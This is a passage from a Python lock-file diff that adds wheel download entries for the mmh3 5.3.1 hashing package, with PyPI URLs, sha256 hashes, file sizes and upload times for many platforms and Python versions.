"sha256:803ba415427118e00ffccefbacc41b03df8ac60403cd9cf2dfd461ef56072002", size = 120520, upload-time = "2026-09-30T17:35:59.924Z" }, + { url = "https://files.pythonhosted.org/packages/fe/03/c7dc6eb152425dd2fba09b299a186be37bd53910a28531ab12f475d9bf99/mmh3-5.3.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:5d856a44ef94204820338b0e3312c02a6a4df8040ad06102c050d5005dbc601c", size = 103089, upload-time = "2026-09-30T17:36:01.266Z" }, + { url = "https://files.pythonhosted.org/packages/25/c5/1192cf2db35390b0ca1f54eae2699c62235fce57992eda605e675af06b9f/mmh3-5.3.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bf1fa41b7587477c86ffe4e69b854ef688e243f9feb97eebc08666031bde71e0", size = 98905, upload-time = "2026-09-30T17:36:02.545Z" }, + { url = "https://files.pythonhosted.org/packages/18/3a/9af0d1f08e3e03cd8b52e5d53fd3be74345993c0d6a7cf61b02e454c4daa/mmh3-5.3.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:86c1593ebec4bd8a7b1e0f28fce5f220e5bc0b2d5f9ba48c34224c04d9f63b8f", size = 98457, upload-time = "2026-09-30T17:36:04.006Z" }, + { url = "https://files.pythonhosted.org/packages/b1/66/ab879d60e7f2cd69e69a7f46613108d9d904c29acaaa1adb345a3a479fcd/mmh3-5.3.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:427f2ba51baf54ce25f32beb6edd2db70bdc95ac9746067eea0a2b2ca484fd10", size = 106276, upload-time = "2026-09-30T17:36:05.366Z" }, + { url = "https://files.pythonhosted.org/packages/cc/58/cd805eabd1fc01ad36861d3cbf4eb25df822bb0e72c8ee8b3ffd47c71225/mmh3-5.3.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:01159489255615d4be76a9ebb07cb0c9b0345f544197aa64ab18a7cfa5579a28", size = 100971, upload-time = "2026-09-30T17:36:06.74Z" }, + { url = "https://files.pythonhosted.org/packages/c2/d0/20d98b665deca070ce5e19df678d476ddab9652462f1e5bf636fc82265a2/mmh3-5.3.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:24627cb76ff1e7870a07d7520cf5f3099b1767390236e46d38656dbea5cc6ad0", size = 109795, upload-time = "2026-09-30T17:36:08.14Z" }, + { url = "https://files.pythonhosted.org/packages/09/51/be441d264a38c390582b3b3382f629e66e10847cbcaa60f560d517237b1b/mmh3-5.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8d83f27143c8ae4e78781306ce002ee466219d334346609d0d7f675c8664aef4", size = 97326, upload-time = "2026-09-30T17:36:09.548Z" }, + { url = "https://files.pythonhosted.org/packages/e0/c8/240446abf409338e93d9c8c2e31b47133a08306cbd4346abb0064736f20c/mmh3-5.3.1-cp313-cp313-win32.whl", hash = "sha256:4836a024fe923605d85049f887aacca98add969c8d4932aed5d0d3884cdaa682", size = 40331, upload-time = "2026-09-30T17:36:10.898Z" }, + { url = "https://files.pythonhosted.org/packages/06/5b/b63154d3d8d3dab42a6713df71da40c2952c4e640973a70ebd897df5508c/mmh3-5.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:6759c43a90729a963ab5503779e07cd000c372ebd2d80196f78da2bf2d4101f1", size = 41754, upload-time = "2026-09-30T17:36:12.084Z" }, + { url = "https://files.pythonhosted.org/packages/be/67/b03f7b39d5f22cbfe72e6d73374c820829a69813a7489ba2a4a8d252391b/mmh3-5.3.1-cp313-cp313-win_arm64.whl", hash = "sha256:78219f6b1cf27872295dd4548e862f317b48ef1e1b2c9e0143069ac3a8b822d7", size = 40103, upload-time = "2026-09-30T17:36:13.425Z" }, + { url = "https://files.pythonhosted.org/packages/32/b6/815e83303e366cc831e81820d92304d5e84068a6c5cd96d65b6fadf91c7b/mmh3-5.3.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:cabd413b4d6017b5117112a1036e3f980aa9a75ab345e48b4d2eb73b1bfad99c", size = 40908, upload-time = "2026-09-30T17:36:14.591Z" }, + { url = "https://files.pythonhosted.org/packages/b7/fc/10a374e021d7a531e668535a3defaea9ad3f92fe6b16c747fe560389f5cf/mmh3-5.3.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:2ca9402d9dc406f62094c271602629a6ab8b853d8052b89e8ee991dd122ce36c", size = 42038, upload-time = "2026-09-30T17:36:15.753Z" }, + { url = "https://files.pythonhosted.org/packages/01/4a/8427a3deeb561a32ab3c71e2fc91569d1ca4569d14dcc71605fe04c29b03/mmh3-5.3.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:2cb13fc23e8c3a3a2f59327d4456b7edb9a3d3f5b6936ca3aab3ace9e3675f50", size = 38674, upload-time = "2026-09-30T17:36:16.933Z" }, + { url = "https://files.pythonhosted.org/packages/9c/6a/ca4ddc0cd6dd07030211c39f1863a164b357adf740d6a8713bbaff3189c9/mmh3-5.3.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:92292c047b82624ef972e10e54a1cec0c7651cbe86be7d346353456e682a58f4", size = 39361, upload-time = "2026-09-30T17:36:18.125Z" }, + { url = "https://files.pythonhosted.org/packages/0e/36/e4c1ef8bc22ccbad4967e8a637fe12dbcb740616a023bf50a3e551963d9c/mmh3-5.3.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:8f4626de7b5bcf922eb66f1d02eb4f62f6dc99e4f2b1519dccfd9e89fcf8ba8f", size = 39866, upload-time = "2026-09-30T17:36:19.404Z" }, + { url = "https://files.pythonhosted.org/packages/10/2a/880d51fa8368727ad428368b062a28dd735ac913392eb7d5760a7c0c8915/mmh3-5.3.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:71fb7fd092f2b4e3af00579a715dbe3c25bd8ee295acc56c9c60003a7c8cfd98", size = 55364, upload-time = "2026-09-30T17:36:20.723Z" }, + { url = "https://files.pythonhosted.org/packages/87/33/f1902c23f6a25c198d18045d6aee389b9442c68134d2b05ec26345b6f33d/mmh3-5.3.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:1033b4943bdf401f9c402ed517fb64ece6307bc22cff2a83bc7e5b85f731eed5", size = 40023, upload-time = "2026-09-30T17:36:22.026Z" }, + { url = "https://files.pythonhosted.org/packages/24/30/c279c95e3dadbec8c389306cf08468bb68d43cdd7e26fe6107bcd00f157f/mmh3-5.3.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:741d1201ccc7716ec61140096dca084590da2eaf6c62b09b64813b6234ac58af", size = 39570, upload-time = "2026-09-30T17:36:23.222Z" }, + { url = "https://files.pythonhosted.org/packages/72/3b/c748fb11c98b3c3fa48249d8d36e7dbeb57669b3ce767f51c94d43a6cde9/mmh3-5.3.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:fb6a472fb487e37556344fd2a4894eb5eb1896cb2eb03536e8f56dce2c5423f1", size = 97115, upload-time = "2026-09-30T17:36:24.487Z" }, + { url = "https://files.pythonhosted.org/packages/5d/bc/65eb32da2c7a7e03bf91f1c3ca6e6e2c8004c64515828a3fd5b6ce51669d/mmh3-5.3.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fd3bbb5dc3c3a045605c1a618bfccb2de6d65ae89b99ff9a7f54556cf81175b7", size = 103119, upload-time = "2026-09-30T17:36:25.807Z" }, + { url = "https://files.pythonhosted.org/packages/d0/ca/eb318655aa79059ab7af2b658adba17eda27d0be0f49703e7b0e6086b72d/mmh3-5.3.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:66297ad16d75ffa14335ca23a40c23deed09fa0d832341fda29ad60a8a2a91ab", size = 106064, upload-time = "2026-09-30T17:36:27.162Z" }, + { url = "https://files.pythonhosted.org/packages/59/ee/491e1fec15a83fbf152e482e7f9c91c738bced77457f0f64e6f5792206e8/mmh3-5.3.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c7418304490de50c985a95416b62f1acac616d9bc9b259622072b487093f926d", size = 112935, upload-time = "2026-09-30T17:36:28.555Z" }, + { url = "https://files.pythonhosted.org/packages/5d/44/24f2bb97fc731ae4bf171588a9c2732a76309f4fb4366fa62ff3b1943262/mmh3-5.3.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:aeb4ac9626c89c9d093930abecd3cea40e6eb7f21fc60870b8c3495748158624", size = 120504, upload-time = "2026-09-30T17:36:29.872Z" }, + { url = "https://files.pythonhosted.org/packages/a8/43/e64fb48dbb9bfd5295d87b4b9a0b95a41139b6b623d7535ef864af98d75a/mmh3-5.3.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:5e7eee7a8174ac340530bfd3500086972452a86adc8eec7d879501bcbef7b2b7", size = 103219, upload-time = "2026-09-30T17:36:31.317Z" }, + { url = "https://files.pythonhosted.org/packages/c3/08/261419201b69dede3368b1e4ff92183f603e32c565e1124d59de73c14043/mmh3-5.3.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ee868a903f387a192bb6fe2205d709156ab7dc5b2dda6fe75d2cfbba9b6a0e26", size = 99012, upload-time = "2026-09-30T17:36:32.693Z" }, + { url = "https://files.pythonhosted.org/packages/34/c6/6ef12522aa92d722c8f756719c870667a3d3aacb1563008e4f7331ee3de5/mmh3-5.3.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:a212a14648107bb83c55ece4a85bfe0671fbba81059e20d48e25456eeea1fcb0", size = 98475, upload-time = "2026-09-30T17:36:34.14Z" }, + { url = "https://files.pythonhosted.org/packages/55/f4/7a89df34615cefcf705d66f54ba26f00425fbae5ed4f61f1ba86b2372648/mmh3-5.3.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:de8fb9ee364d7ad62cf6e6807b77937e1ec8e69396a46aa36b322aa772e774ed", size = 106299, upload-time = "2026-09-30T17:36:35.497Z" }, + { url = "https://files.pythonhosted.org/packages/a0/e4/4cd526b1d7c424485d770b7ffc2976452087f68e8639421e27da93dd5baa/mmh3-5.3.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:d25d161d01b428cd4a12a4489e62595989f826ca780197844f806cc984dacde5", size = 101112, upload-time = "2026-09-30T17:36:36.989Z" }, + { url = "https://files.pythonhosted.org/packages/23/f0/a245308671c6ce430e1347b6ea100def44599d808f1d841dd24f399ec5e0/mmh3-5.3.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:1769d9a4f4a54a383ff65ac79bd85b76f17b2f1f9a71bc57b46df9a556970ec8", size = 109779, upload-time = "2026-09-30T17:36:38.385Z" }, + { url = "https://files.pythonhosted.org/packages/48/24/869fbd94037a046ae7a286eacaf4108a48ce497dd087b0c5b4f980774773/mmh3-5.3.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5e06d41da4c6b2fad157db2d524e1134f0077d7bfaa645c114b7968433ea1b5b", size = 97327, upload-time = "2026-09-30T17:36:39.83Z" }, + { url = "https://files.pythonhosted.org/packages/c9/01/8c629d29655dd670819b236fafc484ec4f9b7711333fbd35c983edfa3941/mmh3-5.3.1-cp314-cp314-win32.whl", hash = "sha256:f86a308bd396fa69013c360abf98111e9d0fa534a7d75b9613ca4145fa63bff4", size = 40873, upload-time = "2026-09-30T17:36:41.194Z" }, + { url = "https://files.pythonhosted.org/packages/11/44/cf8e89595f64a2666db42b8bfa02e98c53244b7741cf6cd6b742901c0c73/mmh3-5.3.1-cp314-cp314-win_amd64.whl", hash = "sha256:156152ea77713eecffed175e4e384aa47bf24fedcf1a9f30773dd2737a8b8c76", size = 42299, upload-time = "2026-09-30T17:36:42.623Z" }, + { url = "https://files.pythonhosted.org/packages/fb/68/3b001dacbf9f6a5e3a4837fa870efff34504ca21b9aae0df78bf3ebe7957/mmh3-5.3.1-cp314-cp314-win_arm64.whl", hash = "sha256:41082b86c3f24f41e1e8af97c80724ff7c23ebc33dff7e37d7e3b1caa4eaf183", size = 40652, upload-time = "2026-09-30T17:36:44.251Z" }, + { url = "https://files.pythonhosted.org/packages/1c/8d/b9778e43fd4332124ef07c194a84cae8bf9e424e42400b0919fb4974c62d/mmh3-5.3.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:7cd757dbf0f177555c1544c37aec5b1230cf5f4d1b79e900357684437608c1d4", size = 57052, upload-time = "2026-09-30T17:36:45.884Z" }, + { url = "https://files.pythonhosted.org/packages/66/b8/5cdbf15f818dae35ed95e09f3a182d24f35acdda441c1140bfcbe61b4ac3/mmh3-5.3.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:be5dab268537f7db00cca56a07b1301060351fd8ab41d6b3fc5cddd3bd207448", size = 40826, upload-time = "2026-09-30T17:36:47.496Z" }, + { url = "https://files.pythonhosted.org/packages/65/37/93b48f89a8173d8a0aa48567e5fff51569c9620854766bfa782214351d3a/mmh3-5.3.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:588c41c36378be5b62da340279300ad6e93d819edaeca0a89e38f1fc8a5b683d", size = 40344, upload-time = "2026-09-30T17:36:48.796Z" }, + { url = "https://files.pythonhosted.org/packages/c3/13/ee07da9f987e61a5cf95b3bfe49f59d9b95ee0e086243527248aa9d54912/mmh3-5.3.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4274ed59160e51c970553b6e3d28fdcf8ddb833c924cd305619ab06dda265c19", size = 109471, upload-time = "2026-09-30T17:36:50.42Z" }, + { url = "https://files.pythonhosted.org/packages/43/fd/58ad751dc961f38af8ea16594b8cfb2afeaaaa9fa2fe814bfeec9689d33c/mmh3-5.3.1-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c5f055fec5901cfbd6951d2ff52352bfdb08e0f9acafae1b235aa835f4d80f9", size = 117238, upload-time = "2026-09-30T17:36:51.836Z" }, + { url = "https://files.pythonhosted.org/packages/76/c3/e43c6abc3ea4e91da55391a2b59c95834f61972e1b6a3e003a2f1a2b08fd/mmh3-5.3.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7670edd6751f21d7bd038b45f4eb671fc8d6441b0088ee01d25f5a23424a87c2", size = 120236, upload-time = "2026-09-30T17:36:53.269Z" }, + { url = "https://files.pythonhosted.org/packages/c8/f2/397bc3d1e934443c0b621392fa56fdeaee1974e167e1411b887fbc223316/mmh3-5.3.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b7a029b0d8a273dd746d7cabc13134fb6f08d866ed83d7619a7aa4fad9ae9946", size = 125811, upload-time = "2026-09-30T17:36:54.696Z" }, + { url = "https://files.pythonhosted.org/packages/1d/43/d7e4f9ed76d20114ad97d6d7b11d2c99a148208279cfeeab34408b68e936/mmh3-5.3.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b890e9fe7330f104dbda1b6a8dcd0a28e948db08eb9faf3001bc55d164402ff8", size = 135028, upload-time = "2026-09-30T17:36:56.42Z" }, + { url = "https://files.pythonhosted.org/packages/4a/3b/6184b0de23d841e1cb1f36f7f93c8157065c70ec4072b18d5d84d6cccb90/mmh3-5.3.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:23ab950642fd0c29a7187a9073e70a203135282b91fd257153de8a8efc87fdbe", size = 113452, upload-time = "2026-09-30T17:36:57.947Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/3ff78b891c5b1251ddeab97b4c6e97fdda7a16e160892dace74578b26a55/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:325e990de3fb60b0ee460be96096ec7cb0775d16f4a2ad20b613111d3cc608f9", size = 109896, upload-time = "2026-09-30T17:36:59.66Z" }, + { url = "https://files.pythonhosted.org/packages/5f/c0/664278780e7ee5758717674f55a6d7447a3e0b862fe57678422431155729/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:1936c40c171979cf230ccf9c9acad51dbd2b01de233a4829e307e4c71331f765", size = 110985, upload-time = "2026-09-30T17:37:00.924Z" }, + { url = "https://files.pythonhosted.org/packages/f3/5e/127ce3d2815ab311ef03fed126bd46533f79cef4639636b78b2d6682c99b/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:196a15b6dbe96ed77e03887ea338e0df0278576143a9e66404074b6d9b10eb2c", size = 116708, upload-time = "2026-09-30T17:37:02.36Z" }, + { url = "https://files.pythonhosted.org/packages/4c/ac/962e120a6642f6eca9686b101b07e889466b13caef34524720d511448ac6/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:21e68810f51f6e9b96da10073b8efdafefbd9f71ef644a9541372b8de0c02137", size = 112004, upload-time = "2026-09-30T17:37:03.737Z" }, + { url = "https://files.pythonhosted.org/packages/5c/54/82829ed9ab1272416bc87b923d51cd364de1fa05e83a81278030599efd97/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:1c61932e7c9f9e6fad2b6cfa325d600792546028b2efa05a66e0c0a8ca5be1b6", size = 122863, upload-time = "2026-09-30T17:37:05.112Z" }, + { url = "https://files.pythonhosted.org/packages/31/93/55889a172c4b2aeab7220955a9765a5cf8ef81b183627c0a85a952689d5e/mmh3-5.3.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:de2074dbcc822f26f97aa83c6fba6ff54998e68b834f45a2a35775cb27b48cea", size = 110027, upload-time = "2026-09-30T17:37:06.409Z" }, + { url = "https://files.pythonhosted.org/packages/35/83/558d9c034a568f0edeee91b4f770d99eeee41300155e2be0eefef2466fcb/mmh3-5.3.1-cp314-cp314t-win32.whl", hash = "sha256:0fe225c870d34d08a0cebdddcb1c1062ecfb9655f1b844a76817ea17bcbc8316", size = 41326, upload-time = "2026-09-30T17:37:07.607Z" }, + { url = "https://files.pythonhosted.org/packages/fb/ed/e76d25bcc95b3b8ef8df663c99542056c9cd393bd70a6723e5d4f2e13b1d/mmh3-5.3.1-cp314-cp314t-win_amd64.whl", hash = "sha256:52fbda3c48e74f7c533964d91610e512e1971d1e88a264e1024f710b3a990af8", size = 43270, upload-time = "2026-09-30T17:37:08.827Z" }, + { url = "https://files.pythonhosted.org/packages/73/29/efd48025b974c588a5da623abc5916d3caba073fa7f658826c42dd673435/mmh3-5.3.1-cp314-cp314t-win_arm64.whl", hash = "sha256:d6d03f2e97225476a4ebacb7b26bdf58847f2879ed6f51c9aec296dd17a40537", size = 41270, upload-time = "2026-09-30T17:37:10.545Z" }, + { url = "https://files.pythonhosted.org/packages/74/44/7346139e65dcd6c0fb1fd810095311f3c83bfad406875db80b905dfe2795/mmh3-5.3.1-cp315-cp315-android_24_arm64_v8a.whl", hash = "sha256:8e9be3c05553ff265064c364e2f75c38a0a768c5e77378e68bba3cbdddbb3534", size = 40908, upload-time = "2026-09-30T17:37:11.848Z" }, + { url = "https://files.pythonhosted.org/packages/11/72/f310775faa92f81a8e4d33a57f8871df049d343b9ad85ebf9df65f2c32fa/mmh3-5.3.1-cp315-cp315-android_24_x86_64.whl", hash = "sha256:409ab810e88d94152e0e17f184c5c0a0cc9d5cbc35d0064117977360cdfaa6d5", size = 42038, upload-time = "2026-09-30T17:37:13.191Z" }, + { url = "https://files.pythonhosted.org/packages/d7/f5/5297ec53642c1f3783c8e9fdaec247b8a154189a4270591f34233caf25dd/mmh3-5.3.1-cp315-cp315-ios_13_0_arm64_iphoneos.whl", hash = "sha256:a564dcbacf2fa7fbab47a061c69dd8e21882de7a4e7a0d5c129c3e4853f528d0", size = 38709, upload-time = "2026-09-30T17:37:15.061Z" }, + { url = "https://files.pythonhosted.org/packages/d1/f1/51085537195290833f46be8f6b3dd2985ee4d15490eb18b537057216076a/mmh3-5.3.1-cp315-cp315-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:e7618907f87ce29af7da06e014f9acabb90de2dbe37b4c4a4c06ae6d2166caab", size = 39416, upload-time = "2026-09-30T17:37:16.444Z" }, + { url = "https://files.pythonhosted.org/packages/b0/cd/5a749d76cc15fee759a8fa0febd939167476db22165b27bb0eb82239e187/mmh3-5.3.1-cp315-cp315-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:50a62eec3de8a3f608f5531901b7d7106231a5cb6cd294bb5f7fbe9e89e71b7b", size = 39867, upload-time = "2026-09-30T17:37:17.808Z" }, + { url = "https://files.pythonhosted.org/packages/59/43/e0c704b08d4adbf22cd9e698f492fb7d4ad7e3a1c4aa5497d0b0da4d7027/mmh3-5.3.1-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:d227fe27ac054c3999793a6e79cb70d8698d575cbedff216656757b4bdf2513b", size = 55425, upload-time = "2026-09-30T17:37:19.154Z" }, + { url = "https://files.pythonhosted.org/packages/5a/59/ef17c22d2de4dce1a32e443e1de7a3cb8789f60459a45c130ba9794e67ab/mmh3-5.3.1-cp315-cp315-macosx_10_15_x86_64.whl", hash = "sha256:c97deaabf7d9d49c56433c4c52292fd03425c29589a4b71d3d5f905285ed4038", size = 40029, upload-time = "2026-09-30T17:37:20.64Z" }, + { url = "https://files.pythonhosted.org/packages/f9/a1/93c1f18d5105493f4e46259080441d6b7fde971d628fdc7965b586937440/mmh3-5.3.1-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:c6badf50b4fe0e001a2ab5f6a4347aad3d10ba182a3ef64eacfb8a6cb581393c", size = 39628, upload-time = "2026-09-30T17:37:22.029Z" }, + { url = "https://files.pythonhosted.org/packages/0f/b7/ce9c92967bb98c69856ed1c3a8af1b05e1a14fc44f9ff28a7f6a59a17b10/mmh3-5.3.1-cp315-cp315-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:08d59963e361381b8052f57f48607c695e4ecf15e1fedcd28e003fd7a189579b", size = 98463, upload-time = "2026-09-30T17:37:23.699Z" }, + { url = "https://files.pythonhosted.org/packages/69/a5/43e7fcca7b892649d060717c595095a80d6468afbb57bd554ec347fff766/mmh3-5.3.1-cp315-cp315-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:714e150e76987dedef08ee370c597c8aabc11b8ac7796bc43876a0b8830e1ffa", size = 103974, upload-time = "2026-09-30T17:37:25.591Z" }, + { url = "https://files.pythonhosted.org/packages/7c/b7/0573655c5b8cc2440ff6113f3dbdd7c196561612059720d20fa745b7b1e5/mmh3-5.3.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f2fe7c4fb48c7b69877ae28a1fe4df4e1bfb53fad467673c100035f0d4210d3e", size = 106431, upload-time = "2026-09-30T17:37:26.908Z" }, + { url = "https://files.pythonhosted.org/packages/b2/de/60b68e00b8675cd16117a3429342acdcafcc4ab26a061db9dfc8bfa36f71/mmh3-5.3.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a209b121065c821358e965f481eba1a0cde6172d9d982bae6bf7ad026498ad6e", size = 113141, upload-time = "2026-09-30T17:37:28.334Z" }, + { url = "https://files.pythonhosted.org/packages/2b/b1/78be5bda72dcf0e2bc9920ae26b801e101eb68c7c0b62e75d1c301b6adbb/mmh3-5.3.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:cd0e2f3571fcf0b434929d28a2fc61e90215a03aa65368b70ca1faf89e36da25", size = 121217, upload-time = "2026-09-30T17:37:29.813Z" }, + { url = "https://files.pythonhosted.org/packages/dc/22/36c326cf3ed6350fdd9f9bd5261ff05e6c9d37fff2b9944f7d6c06054791/mmh3-5.3.1-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c2e6bd1b4757ee488283e035755da12da831509a2ff40fdd9733b0f34e9072da", size = 104071, upload-time = "2026-09-30T17:37:31.176Z" }, + { url = "https://files.pythonhosted.org/packages/41/30/70cb86cfde918fbcda9df7d6424963691a1978fef781b898d9c4d854c3d8/mmh3-5.3.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:53dde4944acc0be5198dfd0a1b2654db0b88ae82640f8299bf0f0414e075643d", size = 99434, upload-time = "2026-09-30T17:37:32.524Z" }, + { url = "https://files.pythonhosted.org/packages/a2/ab/f0b914fce03026c1c697a26b5cdfb012368f64fb1592744acfd191c76b07/mmh3-5.3.1-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:37d39bcc4a554d3f4c9868287686a0b342857ea6df01e532fa0fb722654be253", size = 99432, upload-time = "2026-09-30T17:37:33.954Z" }, + { url = "https://files.pythonhosted.org/packages/d8/c7/2673b90301ae8ebacc0785bd3a17ad47273ba170adff0398abf0505690a9/mmh3-5.3.1-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:b66b40b78a4dd5757ec2ce449db0d505f24ec6a901bffd6667dd60df0eb27a9e", size = 106446, upload-time = "2026-09-30T17:37:35.338Z" }, + { url = "https://files.pythonhosted.org/packages/e6/de/3d35d6a5cf606129c456f5fa250c5155f2c9b3e680e99243e13a9649f5a8/mmh3-5.3.1-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:429453058c769d9cffae36fcaa352241ca59f66aed41aa021bc66565213977f5", size = 102116, upload-time = "2026-09-30T17:37:36.838Z" }, + { url = "https://files.pythonhosted.org/packages/48/0d/73cc09401c50a3f04a79330bda8cabbac05ebd2655e8de785f3356339e42/mmh3-5.3.1-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:3b475f5b5a5f813a5f7c35f257b7c72b7a6f3da16fd564e8466c26bcbd4cacd7", size = 110094, upload-time = "2026-09-30T17:37:38.154Z" }, + { url = "https://files.pythonhosted.org/packages/9e/6c/95deb09624751abce5e60b119d0539314ec2b3536b54fc771a6d918322e9/mmh3-5.3.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:9184d09183b74a78815358c9dc5cc24cb94556779c279f6f2ce698da6a1766a8", size = 98065, upload-time = "2026-09-30T17:37:39.544Z" }, + { url = "https://files.pythonhosted.org/packages/0d/2a/b748aa5ab7a389b3720164f207edb2ec2d7eb21785ad7ec9aa9d55685bdc/mmh3-5.3.1-cp315-cp315-win32.whl", hash = "sha256:0cf5a30de9df754c6977bb90637510ce1c9a2039d4402e1226cf584ba82c367f", size = 40877, upload-time = "2026-09-30T17:37:41.048Z" }, + { url = "https://files.pythonhosted.org/packages/63/15/47f2945f6d4f23c5cf21937a6a818c33875ff0d52578437419d29712df6d/mmh3-5.3.1-cp315-cp315-win_amd64.whl", hash = "sha256:0d7953b08712fb5bb894757568d62692db2e7b235c921eab6471c728ad51a728", size = 42294, upload-time = "2026-09-30T17:37:42.481Z" }, + { url = "https://files.pythonhosted.org/packages/bd/79/5f349380e9cc4722eef51bd47da78fe7e71408a7cc670cce435eac0e1451/mmh3-5.3.1-cp315-cp315-win_arm64.whl", hash = "sha256:5e837386acd3387d67c6821b7fa584a197748ae74e336de15d9f731fb3d9c1e4", size = 40663, upload-time = "2026-09-30T17:37:43.709Z" }, + { url = "https://files.pythonhosted.org/packages/82/0c/1303c58d814ad868815a3a88f8e3719970c4b5acba549f556369d8b82a36/mmh3-5.3.1-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:245665a94be009e874a9d290ddebb67a253805a2b4d87c2e6e042e16a3d1c298", size = 57090, upload-time = "2026-09-30T17:37:44.971Z" }, + { url = "https://files.pythonhosted.org/packages/73/cf/ae0b095688d03c6c1ebc2f9319d393b80e7ef6fb896a47b8cc4b8ac3bd80/mmh3-5.3.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:f4539cf0d522eb19c88c30a52ef4d1625840391dde7e07b3f69481b7c61cb6cc", size = 40831, upload-time = "2026-09-30T17:37:46.707Z" }, + { url = "https://files.pythonhosted.org/packages/34/c9/f2e2863e06f63024159cded330e4dc3df544179e45b7b31fc53071d010c4/mmh3-5.3.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:63a072d514e1762b823cb1129f826289839dd7d71d56cc81eb72223aeb730ce5", size = 40374, upload-time = "2026-09-30T17:37:47.905Z" }, + { url = "https://files.pythonhosted.org/packages/17/4c/1ccd1eadf3caa62b074005c31ad423a5d982f6b35e81305ea9ade8865a94/mmh3-5.3.1-cp315-cp315t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:9358751ae6cd260e3595662e1503fa8791f31dfc69bfe3034c55a278cc5ab78b", size = 108164, upload-time = "2026-09-30T17:37:49.373Z" }, + { url = "https://files.pythonhosted.org/packages/f7/82/13305aaab0528f64204377db1ae4c5886a8b4bf1a3a032406a9d8d3c7798/mmh3-5.3.1-cp315-cp315t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:6e9936eb3cef7e4fe7dc0c7fe51039da7ce12dc691b291ea4dc6d8ed28b9b990", size = 114119, upload-time = "2026-09-30T17:37:50.737Z" }, + { url = 